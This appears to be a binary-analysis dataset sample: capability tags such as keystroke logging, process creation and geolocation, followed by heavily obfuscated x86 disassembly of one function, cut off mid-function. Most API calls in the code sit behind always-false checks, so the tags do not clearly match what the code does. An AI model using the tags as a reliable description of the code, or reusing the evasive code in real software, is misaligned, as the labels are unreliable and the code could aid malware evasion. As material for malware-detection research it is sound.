Function at 0x424c05
Capabilities:
Create process on windows
Create thread
Extract resource via kernel32 functions
Get file system object information
Get geographical location
Get thread local storage value
Log keystrokes via polling
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8fc
mov dword [ebp - 0x1b8], 1
mov dword [ebp - 0x1b8], 0
jmp 0x424c31
mov eax, dword [ebp - 0x1b8]
dec eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xffffffe5
jg 0x424d21
mov dword [ebp - 0xec], 0xffffffff
mov dword [ebp - 0x5b4], 0xf023498e
mov dword [ebp - 0xec], 0
jmp 0x424c6b
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xffffffe6
jne 0x424d1c
mov dword [ebp - 0x100], 0xffffffff
mov dword [ebp - 0x100], 0
jmp 0x424c9b
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x15
jge 0x424d17
mov dword [ebp - 0x17c], 0
jmp 0x424cbd
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 4
jge 0x424cd9
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x8bc], 0x5f0ed1ad
jmp 0x424cb0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x8bc]
mov dword [ebp - 0x5b4], eax
mov byte [ebp - 0xa6], 0
movzx eax, byte [ebp - 0xa6]
test eax, eax
je 0x424d12
push 0
push 0x2686
push 0
push 0x52f
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
jmp 0x424c8e
jmp 0x424c5e
jmp 0x424c24
and dword [ebp - 0x34], 0
mov dword [ebp - 0x104], 1
mov dword [ebp - 0xcc], 0x43d9532b
mov dword [ebp - 0x868], 1
mov dword [ebp - 0x758], 0xfffffffa
mov dword [ebp - 0x760], 0xafc37186
mov dword [ebp - 0x768], 0xe3580d41
mov dword [ebp - 0x770], 5
mov dword [ebp - 0x778], 0xf8b5131d
mov dword [ebp - 0x1ac], 0xa5223fa3
mov dword [ebp - 0x7ac], 0x2ca8cda2
mov dword [ebp - 4], 0
mov dword [ebp - 0x7b4], 9
mov dword [ebp - 0x7bc], 0x9ebf495e
mov dword [ebp - 0x7c4], 3
mov dword [ebp - 0x7cc], 0x7d0d1d8
mov dword [ebp - 0x4ac], 0xfffffffe
mov dword [ebp - 0x50], 0
jmp 0x424dd2
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x424de8
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x1c8], 0xcf5720e8
jmp 0x424dcb
mov dword [ebp - 0x50], 0
jmp 0x424df8
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x424e0e
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xfc], 0x29f58382
jmp 0x424df1
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 4], 0
jmp 0x424e2b
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x4250d4
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x1c8], 1
jbe 0x424e4e
mov dword [ebp - 0x564], 1
jmp 0x424e55
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x1c8], 0xcbd4daed
jne 0x424e77
mov eax, 0xfff6
test eax, eax
jne 0x424e77
and dword [ebp - 0x630], 0
jmp 0x424e81
mov dword [ebp - 0x630], 1
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x1c8], 0xf61949f0
jb 0x424eab
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0xf8], 0
jne 0x424eab
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0xfc], 0
je 0x424ebc
xor eax, eax
inc eax
je 0x424ebc
mov dword [ebp - 0x548], 1
jmp 0x424ec3
and dword [ebp - 0x548], 0
cmp dword [ebp - 0x548], 1
ja 0x424ed8
mov dword [ebp - 0x55c], 1
jmp 0x424edf
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x55c]
sub eax, 3
mov ecx, dword [ebp - 0x564]
sub ecx, eax
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xf8], ecx
mov dword [ebp - 0x104], 0
jmp 0x424f13
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jg 0x4250cf
mov dword [ebp - 0x638], 9
mov dword [ebp - 0x648], 1
mov dword [ebp - 0x660], 0x37eebdc1
mov dword [ebp - 0x1ac], 0
jmp 0x424f57
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jg 0x4250ca
mov dword [ebp - 0x4a0], 0xdb59559c
mov dword [ebp - 0xcc], 0
jmp 0x424f87
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jg 0x4250c5
mov dword [ebp - 0xd4], 0xf726845d
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x7d4], eax
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0xf8], 0x2575
jne 0x424fc6
mov dword [ebp - 0x4c4], 1
jmp 0x424fcd
and dword [ebp - 0x4c4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xfc]
sub eax, dword [ebp - 0x638]
mov ecx, dword [ebp - 0x4c4]
sub ecx, eax
cmp ecx, dword [ebp - 0xd4]
jl 0x425006
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0xf8], 0
jne 0x425006
and dword [ebp - 0x498], 0
jmp 0x425010
mov dword [ebp - 0x498], 1
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x498], eax
je 0x42502a
mov dword [ebp - 0x640], 1
jmp 0x425031
and dword [ebp - 0x640], 0
imul eax, dword [ebp - 0xd4], 3
imul eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0x4a0]
jle 0x425053
mov dword [ebp - 0x230], 1
jmp 0x42505a
and dword [ebp - 0x230], 0
mov eax, dword [ebp - 0x230]
add eax, 0x7c7592e0
cmp eax, dword [ebp - 0xd4]
jle 0x42507f
cmp dword [ebp - 0x4a0], 0
jne 0x42507f
and dword [ebp - 0x238], 0
jmp 0x425089
mov dword [ebp - 0x238], 1
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0xfc]
add eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 4]
mov dword [ebp + ecx*4 - 0xf8], eax
mov dword [ebp - 0x648], 4
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xfc]
mov dword [ebp - 0x660], eax
jmp 0x424f7a
jmp 0x424f4a
jmp 0x424f06
jmp 0x424e24
mov dword [ebp - 0x98], 7
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x260], 0xf18c
mov dword [ebp - 0x184], 0x18b9628e
mov dword [ebp - 0x10c], 0
jmp 0x425112
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jge 0x42512b
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x28], 0xd022
jmp 0x425105
cmp dword [ebp - 0x3c], 0
je 0x42527a
cmp dword [ebp - 0x98], 0
jne 0x42514e
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x42514e
and dword [ebp - 0x4a8], 0
jmp 0x425158
mov dword [ebp - 0x4a8], 1
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4a8], eax
jl 0x42516f
mov dword [ebp - 0x668], 1
jmp 0x425176
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x7dc], eax
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x3c], eax
jg 0x425196
mov dword [ebp - 0x240], 1
jmp 0x42519d
and dword [ebp - 0x240], 0
cmp dword [ebp - 0x240], 0xffff
ja 0x4251b5
mov dword [ebp - 0x4b0], 1
jmp 0x4251bc
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x4b0]
cmp eax, dword [ebp - 0x260]
jne 0x4251d9
mov dword [ebp - 0x248], 1
jmp 0x4251e0
and dword [ebp - 0x248], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x248], eax
je 0x4251f7
mov dword [ebp - 0x4b8], 1
jmp 0x4251fe
and dword [ebp - 0x4b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x4b8], eax
jg 0x42521c
mov dword [ebp - 0x250], 1
jmp 0x425223
and dword [ebp - 0x250], 0
cmp dword [ebp - 0x250], 7
jb 0x425238
mov dword [ebp - 0x4c0], 1
jmp 0x42523f
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x4c0]
je 0x425259
mov dword [ebp - 0x258], 1
jmp 0x425260
and dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x258]
test eax, eax
je 0x42527a
mov dword [ebp - 0x4c8], 1
jmp 0x425281
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x98]
add eax, dword [ebp - 0x4c8]
add eax, dword [ebp - 0x260]
cmp eax, dword [ebp - 0x98]
je 0x4252a7
mov dword [ebp - 0x4d0], 1
jmp 0x4252ae
and dword [ebp - 0x4d0], 0
cmp dword [ebp - 0x4d0], 0xb831
je 0x4252c6
mov dword [ebp - 0x268], 1
jmp 0x4252cd
and dword [ebp - 0x268], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x268], eax
jl 0x4252e7
mov dword [ebp - 0x4d8], 1
jmp 0x4252ee
and dword [ebp - 0x4d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x4d8], eax
jl 0x425340
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x42532b
push 0xd16
push 0x1637
push 0
push 0x462
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
mov dword [ebp - 0x184], eax
jmp 0x425632
mov dword [ebp - 0x24], 0x36ea
mov dword [ebp - 0x6a4], 0xffffffff
mov dword [ebp - 0x718], 0x74b172ab
mov dword [ebp - 0x714], 0x74b172ab
mov dword [ebp - 0x710], 0x74b172ab
mov dword [ebp - 0x70c], 0x74b172ab
mov dword [ebp - 0x690], 0x914d865e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x7e4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
jne 0x42540f
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x4253ad
mov dword [ebp - 0x270], 1
jmp 0x4253b4
and dword [ebp - 0x270], 0
cmp dword [ebp - 0x270], 0x47d02c9a
jne 0x4253cc
mov dword [ebp - 0x4e0], 1
jmp 0x4253d3
and dword [ebp - 0x4e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x4e0], eax
jl 0x4253f1
mov dword [ebp - 0x278], 1
jmp 0x4253f8
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x184]
cmp dword [ebp - 0x278], eax
jne 0x42540f
and dword [ebp - 0x4e8], 0
jmp 0x425419
mov dword [ebp - 0x4e8], 1
cmp dword [ebp - 0x4e8], 0x7399d012
jle 0x425431
mov dword [ebp - 0x280], 1
jmp 0x425438
and dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x184], eax
je 0x42545b
mov dword [ebp - 0x670], 1
jmp 0x425462
and dword [ebp - 0x670], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x838], eax
cmp dword [ebp - 0x24], 2
ja 0x425492
mov dword [ebp - 0x4f0], 1
jmp 0x425499
and dword [ebp - 0x4f0], 0
cmp dword [ebp - 0x4f0], 0xfffffffc
jle 0x4254ae
mov dword [ebp - 0x288], 1
jmp 0x4254b5
and dword [ebp - 0x288], 0
mov eax, dword [ebp - 0x288]
sub eax, dword [ebp - 0x24]
js 0x4254cc
mov dword [ebp - 0x4f8], 1
jmp 0x4254d3
and dword [ebp - 0x4f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x4f8], eax
jg 0x4254f1
mov dword [ebp - 0x290], 1
jmp 0x4254f8
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x290], eax
jge 0x42550f
mov dword [ebp - 0x500], 1
jmp 0x425516
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x500]
jge 0x42552d
mov dword [ebp - 0x684], 1
jmp 0x425534
and dword [ebp - 0x684], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x3c], 0
jne 0x425565
xor eax, eax
inc eax
jne 0x425565
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
jne 0x425565
and dword [ebp - 0x298], 0
jmp 0x42556f
mov dword [ebp - 0x298], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x298], eax
jl 0x42558d
mov dword [ebp - 0x508], 1
jmp 0x425594
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x508], eax
jle 0x4255b1
cmp dword [ebp - 0x3c], 0
je 0x4255b1
mov dword [ebp - 0x2a0], 1
jmp 0x4255b8
and dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x6a4]
cmp dword [ebp - 0x2a0], eax
jge 0x4255d2
mov dword [ebp - 0x510], 1
jmp 0x4255d9
and dword [ebp - 0x510], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x510], eax
jle 0x4255f7
mov dword [ebp - 0x2a8], 1
jmp 0x4255fe
and dword [ebp - 0x2a8], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x718]
cmp dword [ebp - 0x2a8], eax
jl 0x42561f
mov dword [ebp - 0x518], 1
jmp 0x425626
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0xac], 1
mov dword [ebp - 0x114], 0
jmp 0x425655
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 3
jge 0x425671
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x7fc], 0x624039b6
jmp 0x425648
mov dword [ebp - 0xac], 2
jmp 0x42568a
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jl 0x4256b9
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x7fc], 0
je 0x4256a5
jmp 0x4256b9
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x7fc], 0
je 0x4256b7
jmp 0x42567d
jmp 0x42567d
mov dword [ebp - 0x60], 0
jmp 0x4256c9
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x4256df
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x6b0], 0x25b9b55b
jmp 0x4256c2
mov dword [ebp - 0x60], 0
jmp 0x4256ef
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x425705
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x8e0], 0xffffffff
jmp 0x4256e8
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x6b0], 0
jmp 0x425730
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x6b0]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x6b0], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x6b0], 7
jg 0x425792
mov dword [ebp - 0x1b4], 0xfffffffa
mov dword [ebp - 0x1b4], 0
jmp 0x425762
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 2
jg 0x425790
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x42578e
push 0xaa1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x425755
jmp 0x425717
mov dword [ebp - 0x58], 0x43cdf98a
mov dword [ebp - 0xc4], 0x6095dbc2
mov dword [ebp - 8], 0
jmp 0x4257b3
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x4257c9
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x5a0], 0xc93b4e1a
jmp 0x4257ac
mov dword [ebp - 8], 0
jmp 0x4257d9
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jge 0x4257ef
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x654], 0x81a82e77
jmp 0x4257d2
mov dword [ebp - 8], 0
jmp 0x4257ff
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jge 0x425815
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x880], 0xffffffff
jmp 0x4257f8
mov dword [ebp - 0x58], 0
jmp 0x425825
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jg 0x425aa9
mov dword [ebp - 0xb4], 0xffffffff
mov dword [ebp - 0x538], 0xffffffff
mov dword [ebp - 0x11c], 0
jmp 0x42585c
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 3
jge 0x425878
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x80c], 1
jmp 0x42584f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5a0]
mov dword [ebp - 0x854], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x5a0]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x5a0]
cmp eax, dword [ebp - 0xb4]
jl 0x4258b9
mov dword [ebp - 0x2b0], 1
jmp 0x4258c0
and dword [ebp - 0x2b0], 0
cmp dword [ebp - 0x2b0], 0x4da8
jg 0x4258d8
mov dword [ebp - 0x520], 1
jmp 0x4258df
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x520]
add eax, 0x2d91509c
mov dword [ebp - 0x2b8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2b8]
mov dword [ebp + eax - 0x80c], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp + ecx*4 - 0x5a0]
sub ecx, dword [ebp - 0x2b8]
cmp ecx, dword [ebp + eax - 0x654]
je 0x425931
mov dword [ebp - 0x528], 1
jmp 0x425938
and dword [ebp - 0x528], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5a0]
mov ecx, dword [ebp - 0x528]
lea eax, [ecx + eax - 0xfff1]
cmp eax, 0x9ec1
jge 0x425965
mov dword [ebp - 0x2c0], 1
jmp 0x42596c
and dword [ebp - 0x2c0], 0
imul eax, dword [ebp - 0x2c0], 0x8625
test eax, eax
je 0x42598f
mov eax, 0x5800
test eax, eax
je 0x42598f
mov dword [ebp - 0x530], 1
jmp 0x425996
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x538]
cmp dword [ebp - 0x530], eax
jg 0x4259b0
mov dword [ebp - 0x2c8], 1
jmp 0x4259b7
and dword [ebp - 0x2c8], 0
cmp dword [ebp - 0x2c8], 0
je 0x4259d5
cmp dword [ebp - 0x538], 0
je 0x4259d5
mov dword [ebp - 0x540], 1
jmp 0x4259dc
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xb4], 0
jmp 0x425a01
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0xfffffff5
jge 0x425aa4
mov dword [ebp - 0x628], 0x423c
mov dword [ebp - 0xc4], 0xd
jmp 0x425a31
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 6
jg 0x425a6b
mov byte [ebp - 0xa8], 0
movzx eax, byte [ebp - 0xa8]
test eax, eax
je 0x425a59
push 0x21ac
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x5a0]
mov dword [ebp - 0x628], eax
jmp 0x425a24
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x880], 5
jne 0x425a86
mov dword [ebp - 0x2d0], 1
jmp 0x425a8d
and dword [ebp - 0x2d0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp + eax - 0x80c], ecx
jmp 0x4259f4
jmp 0x42581e
mov dword [ebp - 0xc4], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x5c8], 0xaef6e229
mov dword [ebp - 0x85c], 9
mov dword [ebp - 0x18c], 0
jmp 0x425ae9
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jge 0x425b05
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x6bc], 0xfffffff7
jmp 0x425adc
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x6bc], 0
jmp 0x425b30
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x6bc]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x6bc], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x6bc], 0xfffffff4
jl 0x425cc7
mov dword [ebp - 0xe4], 0xaa9ac70c
mov dword [ebp - 0xe4], 0xfffffff6
jmp 0x425b66
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xfffffff3
jl 0x425cc2
mov dword [ebp - 0x124], 0xf845d811
mov dword [ebp - 0x124], 0xffffffe2
jmp 0x425b96
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 9
jg 0x425cbd
mov dword [ebp - 0x1bc], 0
jmp 0x425bbc
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 2
jge 0x425bd8
mov eax, dword [ebp - 0x1bc]
mov dword [ebp + eax*4 - 0x594], 0xcabfc393
jmp 0x425baf
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x594], 0xffffffeb
jmp 0x425c06
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x594]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x594], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x594], 0x19
je 0x425cac
mov dword [ebp - 0x12c], 0xfffffffc
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x425c53
push 0
push 0
push 0
push 0
push 0xd64
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x12c], 0
jmp 0x425c6c
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x1b
jge 0x425ca7
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x425ca5
push 0x17a0
push 0x1520
push 0
push 0
push 0xda8
push 0xfc9
call dword [sym.imp.USER32.dll_ToUnicode]
jmp 0x425c5f
jmp 0x425beb
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x5c8], eax
jmp 0x425b89
jmp 0x425b59
jmp 0x425b17
mov eax, dword [ebp - 0x1d0]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x426240
mov dword [ebp - 0xa0], 7
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x2fc], 0xf18c
mov dword [ebp - 0x134], 0x18b9628e
mov dword [ebp - 0x1c4], 0
jmp 0x425d19
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 1
jge 0x425d32
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x2c], 0xd022
jmp 0x425d0c
cmp dword [ebp - 0x48], 0
je 0x425e81
cmp dword [ebp - 0xa0], 0
jne 0x425d55
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x425d55
and dword [ebp - 0x2e0], 0
jmp 0x425d5f
mov dword [ebp - 0x2e0], 1
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x2e0], eax
jl 0x425d76
mov dword [ebp - 0x5c4], 1
jmp 0x425d7d
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x48], eax
jg 0x425d9d
mov dword [ebp - 0x2dc], 1
jmp 0x425da4
and dword [ebp - 0x2dc], 0
cmp dword [ebp - 0x2dc], 0xffff
ja 0x425dbc
mov dword [ebp - 0x424], 1
jmp 0x425dc3
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x424]
cmp eax, dword [ebp - 0x2fc]
jne 0x425de0
mov dword [ebp - 0x2e4], 1
jmp 0x425de7
and dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x2e4], eax
je 0x425dfe
mov dword [ebp - 0x558], 1
jmp 0x425e05
and dword [ebp - 0x558], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x558], eax
jg 0x425e23
mov dword [ebp - 0x2ec], 1
jmp 0x425e2a
and dword [ebp - 0x2ec], 0
cmp dword [ebp - 0x2ec], 7
jb 0x425e3f
mov dword [ebp - 0x42c], 1
jmp 0x425e46
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x42c]
je 0x425e60
mov dword [ebp - 0x2f4], 1
jmp 0x425e67
and dword [ebp - 0x2f4], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x2f4]
test eax, eax
je 0x425e81
mov dword [ebp - 0x4cc], 1
jmp 0x425e88
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x4cc]
add eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0xa0]
je 0x425eae
mov dword [ebp - 0x434], 1
jmp 0x425eb5
and dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 0xb831
je 0x425ecd
mov dword [ebp - 0x304], 1
jmp 0x425ed4
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x304], eax
jl 0x425eee
mov dword [ebp - 0x51c], 1
jmp 0x425ef5
and dword [ebp - 0x51c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x51c], eax
jl 0x425f47
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x425f32
push 0xd16
push 0x1637
push 0
push 0x462
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
mov dword [ebp - 0x134], eax
jmp 0x426239
mov dword [ebp - 0x20], 0x36ea
mov dword [ebp - 0x68c], 0xffffffff
mov dword [ebp - 0x708], 0x74b172ab
mov dword [ebp - 0x704], 0x74b172ab
mov dword [ebp - 0x700], 0x74b172ab
mov dword [ebp - 0x6fc], 0x74b172ab
mov dword [ebp - 0x5d4], 0x914d865e
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x86c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0
jne 0x426016
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x425fb4
mov dword [ebp - 0x30c], 1
jmp 0x425fbb
and dword [ebp - 0x30c], 0
cmp dword [ebp - 0x30c], 0x47d02c9a
jne 0x425fd3
